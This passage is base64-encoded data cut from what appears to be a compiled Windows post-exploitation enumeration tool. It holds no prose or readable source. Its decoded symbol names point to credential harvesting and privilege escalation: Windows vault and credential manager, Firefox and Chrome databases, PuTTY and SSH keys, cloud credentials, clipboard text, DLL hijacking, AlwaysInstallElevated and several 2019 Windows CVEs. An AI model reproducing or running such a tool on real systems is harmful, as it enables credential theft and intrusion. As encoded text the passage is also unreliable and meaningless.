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QaTVpQZUQagVpsZUQZFPqIZUQaXNqYZUQbkVaIZUQb5VawZKQMcMUICoQO3QsYZcQanLMwZKQOXWisXBALwQ88BWQMTVu4ZDAJ6QzoAFAIFVCoAWQOwWCYaWQNMVToaHALwQwYAHAIzHgcBWQNoUZQBWQOwWGcaxAHwQ4Ya8QLwQycP8QKZOJIa8QKoSooHQQT7M5sagQaCMaAaqQMcHqUaqQNsHT4CiQQvMVQWiQRpO7YaiQbwQwYADgBFAAAACABoAOYaAgB5AIkdAgChAIkdDgAkAesaDgAoAQYbDgAsASEbDgAwATwbDgA0AVcbDgA4AXIbDgA8AY0bDgBAAagbDgBEAcMbAgC1AYkdCQC4Ad4bAgC5AYkdCQC8AeMbCQDAAegbCADBAd4bCQDEAe0bCQDIAfIbCQDMAfcbCQDQAfwbCQDUAQEcCQDYAQYcCQDcAQscCQDgARAcCQDkARUcCQDoARocCQDsAR8cCQDwASQcCQD0ASkcCQD4AS4cCQD8ATMcDgD9AQAACQAAAjgcCQAEAj0cCQAIAkIcCQAMAkccCQAQAkwcCQAUAlEcCQAYAlYcCQAcAlscCQAgAmAcCQAkAmUcCQAoAmocCQAsAm8cCQAwAnQcCQA0AnkcCwDkAn4cCwDoAoccCwDsApAcCwDwApkcCwD0AqIcCwD4AqscCwD8ArQcCwAAA70cCQAIA+gbCQAMA+0bCQAQA/IbCQAUA/cbCQAYA/wbCQAcAwEcCQAgAwYcCQAkAwscCQAoAxAcCQAsAxUcCQAwAxocCQA0Ax8cCQA8A94bCQBAA+MbCQBEA+gbCQBIA+0bCQBMA/IbCQBQA/cbCQBUA/wbCQBYAwEcCQBcAwscCQBgAxAcCQBkAxUcCQBoAxocCQBsAx8cCQBwAyQcCQB0AykcCQB4Ay4cCQB8AzMcCQCAAzgcCQCEAz0cCQCIA0IcCQCMA1EcCQCQA1YcCQCUA1scCQCYA2AcCQCcA8YcCQCkA8scCQCoA9AcCQCsA9UcCQCwA9ocCQC0A98cCQC4A+QcCQC8A+kcCQDAA+4cCQDEA/McCQDIA/gcCQDMA/0cCQDQAwIdCQDUAwcdCQDYAwwdCQDcAwwdCQDgA+MbCADkA94bCAA8BOMbCABABOgbCABEBO0bCABIBPIbCABQBOMbCABUBOgbCABYBPIbCABcBBEdCACABOMbCACIBOMbCACMBOgbCACQBPIbCACUBAYcCACYBC4cCACcBBYdCACkBOMbCACoBOgbCACsBPIbCACwBAYcCAC0BC4cCAC4BBYdCAC8BBsdCADABCAdCADEBCUdCADIBCodCADMBC8dCADQBDQdCADUBDkdCADYBD4dCADcBEMdCADkBOMbCADoBOgbCADsBPIbCADwBAYcCAD0BC4cCAD4BBYdCAD8BEgdCAAABU0dCAAEBVIdCAAIBVcdCAAwBd4bCAA0BVwdCAA4BWEdCAA8BWYdCABABWsdCABEBXAdCABIBXUdCABoBd4bCABsBeMbCABwBegbCAB0Be0bCAB4BfIbCAB8BfcbCACABfwbCACEBQEcCACIBQYcCACMBQscCACUBd4bCACYBeMbCACcBegbCACgBe0bCACkBfIbCACoBfcbCACsBfwbCACwBQEcCAC0BQYcCAC4BQscCAC8BRAcCADABRUcCADEBRocCADIBR8cCADMBSQcCADQBSkcCADUBS4cCADYBTMcCADcBTgcCADgBT0cCADkBUIcCADoBUccCADsBUwcCADwBVEcCAD0BVYcCAD4BVscCAD8BWAcCAAABmUcCAAEBmocCAAIBm8cCQBQBt4bCQBUBuMbCQBYBugbCQBcBvIbCQBgBsscCABoBuMbCABsBugbCABwBu0bCAB0BvIbCAB4BvcbCAB8BvwbCACABgEcCACEBgYcCACIBgscCACMBhAcCACQBhUcCACUBhocCACYBh8cCACcBiQcCACgBikcCACkBi4cCACoBjMcCADEBnodCADIBt4bCADMBuMbCADQBugbCADUBu0bCADYBvIbCADcBvcbCADgBvwbCADkBgEcCADoBgYcCADsBgscCADwBhAcCAD0BhUcCAD4BhocCAD8Bh8cCAAEB94bCAAIB+MbCAAMB+gbCAAQB+0bCAAUB/IbCAAYB/cbCAAcB38dCAAgB4QdCAB8B94bCACAB+MbCACEB+gbCACIB+0bIQCDAIccLgALAHEjLgATAHojLgAbAJkjLgAjAKIjLgArALIjLgAzALIjLgA7ALIjLgBDAKIjLgBLALgjLgBTALIjLgBbALIjLgBjANAjLgBrAPojLgBzAAckQQCDAIccQwB7AOMbYQCDAIccgQCDAIccoACLAOMbwACLAOMb4ACLAOMbAAGLAOMbYAJ7AOMbgAJ7AOMbgwN7AOMbowN7AOMbwwN7AOMbwwWTAOMbIwaTAOMbYwZ7AOMbwwaTAOMb4wZ7AOMbAwd7AOMbIwd7AOMbYweTAOMbgweTAOMboweTAOMbIwh7AOMbgQh7AOMboQh7AOMbwQh7AOMb4Qh7AOMbIwmTAOMbYwl7AOMbgwl7AOMboBKbAOMbABN7AOMbIBN7AOMbQBN7AOMbYBN7AOMbgBN7AOMboBN7AOMbwBN7AOMb4BN7AOMbABR7AOMbIBR7AOMbQBR7AOMbYBR7AOMbgBR7AOMboBR7AOMbwBR7AOMb4BR7AOMbABV7AOMbIBV7AOMbQBV7AOMbYBV7AOMbgBV7AOMboBV7AOMbwBV7AOMb4BV7AOMbABZ7AOMbIBZ7AOMbQBZ7AOMbYBZ7AOMbgBZ7AOMboBZ7AOMbwBZ7AOMb4BZ7AOMbABd7AOMbIBd7AOMbQBd7AOMbYBd7AOMbgBd7AOMboBd7AOMbwBd7AOMb4Bd7AOMbABh7AOMbIBh7AOMbQBh7AOMbYBh7AOMbgBh7AOMboBh7AOMbwBh7AOMb4Bh7AOMbABl7AOMbIBl7AOMbQBl7AOMbYBl7AOMbgBl7AOMboBl7AOMbwBl7AOMb4Bl7AOMbABp7AOMbIBp7AOMbQBp7AOMbYBp7AOMbgBp7AOMboBp7AOMbwBp7AOMb4Bp7AOMbABt7AOMbIBt7AOMbQBt7AOMbYBt7AOMbgBt7AOMboBt7AOMbwBt7AOMb4Bt7AOMbABx7AOMbIBx7AOMbAB97AOMbwCR7AOMb4CR7AOMbACV7AOMbICV7AOMbwCyLAOMb4CyLAOMbIC2LAOMbQC2LAOMbYC2LAOMbgC2LAOMboC2LAOMbawCXHYEAlx0BAYsdBQGLHRMBlx2dAZIdowGLHaUBix2pAYsdtwGXHQQCix0GAosdCAKNHQoCjR0MAo0dDgKNHRACjR0SAo0dFAKNHRYCjR0YAosdGgKLHQgDjx0QA5IdEgOSHRQDkh0WA5IdGAOSHRwDlB0BACAAAABNAAAAAADcAQgAAADdAWYArQDaAN8A4gATAVQBgQK8AtQC5gIhA5QDngPnA/oDHAQtBEUEcwR8BIsEnwSzBEUFkAWpBQ8GLgZeBm4GgQaYBsIG5QZQB2YHsQciCEoIVwh+CLwILwldCYsJ+QlMClUKbArHCvsKYQupC7ML2QvmCxQMJQwtDEcMVAyhDOUMFg1MDWgNbw19DZQNoQ0YDiIOMg6RD+wP9A8DECoQYBCNEJMQkhHNEdIR2hH0EQUSFRI4EkcSZBJqEooSpBKwEtsSDBMxE0QTTxOfE7wT4hP+EwwUIhRBFG0UlxSsFLsUwhTKFNoU8BQLFRUVJRUwFWAVbxWNFbcVwRXfFQYWgBaYFsUW1xbqFisXLhdgF3EXgBe/F+IX7hcOGC0YShhUGFgYeBiwGMoY6hgZGTAZWhl3GbIZ0hnfGQgaThpeGnMagRqrGrwaAgABAA0ABQAQAAYAPgAJAEEACwAAACkdRiMAAMIySyMAALUsUCMAAP9AVSMAAOsrWiMAAIo4WiMAAKFPXiMAAIQnYyMAAIgiZyMAAFIiZyMAAD9TWiMAAH1TbSMCAAEAAwACAAIABQACAAMABwACAAQACQACAPgACwACACYBDQACACcBDwACACgBEQABACkBEQACAFwBEwABAF0BEwACAF4BFQABAF8BFQACAGkBFwACAGsBGQA/AMgCKQBBAM4CKwBBANACLQBBANICLwBBANQCMQBBANYCMwBBANgCNQBBANoCNwAINu41Hzb7NRM2NjbhNUM2KzbUNcc1JAAzAEkAdQCPAJcAnwDAAMcAygDNAPAAKAE6AbwB1QFZAnACmAKsAgQDGgNVA8YD2gM6BFwEYwRrBB8F2gYMCP4LBgwiDP8MBg0ODTINqQ2LDucO8A4RDxoPLA80D2YPuA/PD+QQ7hD4EFgRaBF3EcURhROSE1MV3xefGKgY5RkXGh8aVxoAARMAE1cBAAABFQCoVgEAQAGXAKE3AgBAAZkA5k4DAAABmwCLNwIAQAGdACtBAgBAAZ8ABigEAEABoQCtMQIAAAGjALBLBQAAAaUAlxwFAAABpwDEIgMAAAGpAKciAwAAAasABkADAAABrQALHwMAAAGvAP5OAwAAAbEApyIDAAAB9QAOJwgARgH3APUmCABAAQkBoTcCAEABCwEGKAQAQAHJAS9aAgAEAf8BXVEJAAQBAQIDKAkABAEDAh5ZCQAEAQUCzDcJAAQBBwLnQQkABAEJAv43CQAEAQsC5jcJAAQBDQICQgkAAAElAtBBCgBAASkCQDkLAEABKwIhQgoAQAEvAl1XCgAAATECEFkKAEABOwIWOQIARgE9AkYpAgAAAYECLlIGAAABgwIeUgYAAAGFAjEiBgAAAYcCuE8GAAABiQIFSwYAAAGLAtk2BgAAAY0C2TYGAEQBkQIqOQcAAAGTAiAiBwAoxAMAUgAEgAAAAQAAAAAAAAAAAAAAAACfGAAABAAAAAAAAAAAAAAAwhq7HAAAAAAEAAAAAAAAAAAAAADCGgM3AAAAAAIACAAQAAAAAAAAAMsav0AAAAAABAAAAAAAAAAAAAAAwhpQNgAAAAAEAAAAAAAAAAAAAADCGpQtAAAAAAQAAAAAAAAAAAAAANQaoFIAAAAABAAAAAAAAAAAAAAA1BrQTgAAAAAEAAAAAAAAAAAAAADCGi9LAAAAAAQAAAAAAAAAAAAAAMIaslIAAAAABAAAAAAAAAAAAAAA3RqLSwAAAAAdAAMAHgADAB8ABgAgAAYAIQAGACIABgAjAAYAJAAGACUABgAmAAYAJwAGACgABgApAAYAKgAGACsABgAsAAYALQAGAC4ABgAvAAYAMAAGADEABgAyAAcAMwAHADQACAA1AAgANgAIADcACAA4AAkAOQAKADoADQA7AA0APAANAD0ADQA+AA0APwANAEAADQBBAA0AQgAOAEMADgBEAA4ARQAOAEYADgBHAA4ASAAOAEkADgBKAA4ASwARAEwAEQBNABwATgAfAE8AHwBQAB8AUQAfAFIAHwBTADIAAAAAAAQA0j4BAAAABADyPgIAAAAEAOA+AwAAAAQA/z6BAK0BhwASAn0BuQaHAA4MgQAoDYcAQA1RApANVwLLDVsC9A1dAssNhwK9Do0C4Q6NAgsPrwJZD10CYA9dAogP0QLLDe0C3hD1AkQR3QMDGlcCAxrjAwMa5QMDGusDyw3tA8sNAAAAAAA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50U3lzdGVtRVZ8NDBfMTAAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50QXBwQ21kfDQ2XzEwADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRSZWN5Y2xlQmlufDQ4XzEwAENWRV8yMDE5XzExMzAAPD45X18yMF8wADxMaXN0Rm9sZGVyPmJfXzIwXzAAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEJhc2ljU3lzdGVtSW5mb3w0MF8wADxQcmludEluZm9Vc2Vycz5nX19jb2xvcnNVfDQxXzAAPD5jX19EaXNwbGF5Q2xhc3MxXzAAPD45X18xMl8wADxHZXRSZWN1cnNpdmVQcml2cz5iX18xMl8wADxQcmludEluZm9Qcm9jZXNzZXM+Z19fUHJpbnRJbnRlcmVzdGluZ1Byb2Nlc3Nlc3w0Ml8wADw+Y19fRGlzcGxheUNsYXNzNDNfMAA8UHJpbnRJbmZvU2VydmljZXM+Z19fUHJpbnRJbnRlcmVzdGluZ1NlcnZpY2VzfDQzXzAAPD45X18zXzAAPFNob3dSZXN1bHRzPmJfXzNfMAA8UHJpbnRJbmZvQXBwbGljYXRpb25zPmdfX1ByaW50QWN0aXZlV2luZG93fDQ0XzAAPD45X180XzAAPEdldFJlZ1ZhbHVlcz5iX180XzAAPFByaW50SW5mb05ldHdvcms+Z19fUHJpbnROZXRTaGFyZXN8NDVfMAA8PjlfXzVfMAA8R2V0UHJvY0luZm8+Yl9fNV8wADxHZXROZXRDYXJkSW5mbz5iX181XzAAPEdldEluc3RhbGxlZEFwcHNQZXJtcz5iX181XzAAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50dmF1bHRDcmVkc3w0Nl8wADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50REJzRmlyZWZveHw0N18wADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRQdXR0eVNlc3N8NDhfMAA8PmNfX0Rpc3BsYXlDbGFzczhfMAA8R2V0U2NoZWR1bGVkQXBwc05vTWljcm9zb2Z0PmdfX0VudW1Gb2xkZXJUYXNrc3w4XzAAPD45X18xOV8wADxGaW5kRmlsZXM+Yl9fMTlfMAA8U2V0QXNWdWxuZXJhYmxlPmJfXzAAbWFjMAByZXNlcnZlZDAAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEluZXRJbmZvfDQwXzExADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFNDQ2xpZW50fDQ2XzExADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRVc2Vyc0ludGVyZXN0aW5nRmlsZXN8NDhfMTEAQ1ZFXzIwMTlfMDg0MQA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50UFNJbmZvfDQwXzEAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50Q1V8NDFfMQA8PjlfXzEyXzEAPEdldFJlY3Vyc2l2ZVByaXZzPmJfXzEyXzEAPFByaW50SW5mb1NlcnZpY2VzPmdfX1ByaW50TW9kaWZpYWJsZVNlcnZpY2VzfDQzXzEAPD45X18zXzEAPFNob3dSZXN1bHRzPmJfXzNfMQA8UHJpbnRJbmZvQXBwbGljYXRpb25zPmdfX1ByaW50SW5zdGFsbGVkQXBwc3w0NF8xADw+OV9fNF8xADxHZXRSZWdWYWx1ZXM+Yl9fNF8xADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50SG9zdHNGaWxlfDQ1XzEAPD45X181XzEAPEdldFByb2NJbmZvPmJfXzVfMQA8R2V0SW5zdGFsbGVkQXBwc1Blcm1zPmJfXzVfMQA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRDcmVkTWFuYWd8NDZfMQA8UHJpbnRCcm93c2VySW5mbz5nX19QcmludEhpc3RGaXJlZm94fDQ3XzEAPFByaW50SW50ZXJlc3RpbmdGaWxlcz5nX19QcmludFB1dHR5U1NIfDQ4XzEAPEdldFNjaGVkdWxlZEFwcHNOb01pY3Jvc29mdD5nX19BY3RPblRhc2t8OF8xAFdUU19TRVNTSU9OX0lORk9fMQBJRW51bWVyYWJsZWAxAElPcmRlcmVkRW51bWVyYWJsZWAxAEVxdWFsaXR5Q29tcGFyZXJgMQBJRW51bWVyYXRvcmAxAFByaW5jaXBhbFNlYXJjaFJlc3VsdGAxAExpc3RgMQBkZXMzX2NiY19zaGExAG1hYzEAcmVzZXJ2ZWQxADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnREcml2ZXNJbmZvfDQwXzEyADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludEFsd2F5c0luc3RhbGxFbGV2YXRlZHw0Nl8xMgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VXNlcnNEb2NzS2V5c3w0OF8xMgBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTMyAE1pY3Jvc29mdC5XaW4zMgBVSW50MzIAUmVhZEludDMyAFRvSW50MzIAYWVzMjU2X2N0c19obWFjX3NoYTM4NF8xOTIAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEF1ZGl0SW5mb3w0MF8yADxQcmludEluZm9Vc2Vycz5nX19QcmludFRva2VuUHw0MV8yADxQcmludEluZm9TZXJ2aWNlcz5nX19QcmludFdyaXRhYmxlUmVnU2VydmljZXN8NDNfMgA8PjlfXzNfMgA8U2hvd1Jlc3VsdHM+Yl9fM18yADxQcmludEluZm9BcHBsaWNhdGlvbnM+Z19fUHJpbnRBdXRvUnVuc3w0NF8yADw+OV9fNF8yADxHZXRSZWdWYWx1ZXM+Yl9fNF8yADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50TmV0d29ya0lmYWNlc3w0NV8yADw+OV9fNV8yADxHZXRQcm9jSW5mbz5iX181XzIAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50U2F2ZWRSRFBJbmZvfDQ2XzIAPFByaW50QnJvd3NlckluZm8+Z19fUHJpbnREQnNDaHJvbWV8NDdfMgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50U1NIS2V5c1JlZ3w0OF8yADxjb29raWU+NV9fMgBGdW5jYDIAS2V5VmFsdWVQYWlyYDIAU29ydGVkRGljdGlvbmFyeWAyAG1hYzIAcmVzZXJ2ZWQyADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRBVkluZm98NDBfMTMAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50V1NVU3w0Nl8xMwA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50UmVjZW50RmlsZXN8NDhfMTMAQ1ZFXzIwMTlfMTI1MwA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50V0VGSW5mb3w0MF8zADxQcmludEluZm9Vc2Vycz5nX19QcmludENsaXBib2FyZFRleHR8NDFfMwA8UHJpbnRJbmZvU2VydmljZXM+Z19fUHJpbnRQYXRoRExMSGlqYWNraW5nfDQzXzMAPFByaW50SW5mb0FwcGxpY2F0aW9ucz5nX19QcmludFNjaGVkdWxlZHw0NF8zADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50TGlzdGVuaW5nUG9ydHN8NDVfMwA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRSZWNlbnRSdW5Db21tYW5kc3w0Nl8zADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50SGlzdEJvb2tDaHJvbWV8NDdfMwA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50Q2xvdWRDcmVkc3w0OF8zADx1cz41X18zAEZ1bmNgMwBt